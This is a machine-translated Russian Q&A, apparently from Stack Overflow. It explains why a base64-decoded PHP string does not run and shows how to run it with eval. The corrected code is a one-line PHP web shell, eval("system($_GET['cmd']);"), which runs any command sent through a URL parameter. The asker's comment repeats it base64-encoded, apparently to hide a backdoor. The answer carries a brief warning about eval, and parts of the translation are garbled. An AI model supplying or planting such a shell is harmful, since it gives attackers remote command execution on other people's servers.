base64_decode
функция PHP получает строку (которая кодируется в base64) и декодировать его обратно к исходным данным. Функция возвращает декодированные данные в виде строки, которая означает, что ваш код на самом деле выглядит как:
<?php "system($_GET['cmd']) "
?>
(Выполнение этого кода не имеет смысла).
Если вы хотите PHP для «запуска» (или оценивать) строку, которую вы Juse декодированного - вы должны использовать eval
язык построения РНР:
<?php eval("system($_GET['cmd']);");
?>
Обратите внимание на ;
добавил в конце строки (внутри вызова eval
).
Очень важно
Обратите внимание, что использование Eval очень опасно, потому что она позволяет выполнение произвольного кода.
Вы должны действительно НЕ использовать это, если вы не ДЕЙСТВИТЕЛЬНО знаете, что вы делаете.
я использовал 'eva'l как этот' base64_decode ("ZXZhbCgic3lzdGVtKCRfR0VUWydjbWQnXSk7Iik ="); ', но не работает –
Читать снова мой ответ, все объясняется там. – Dekel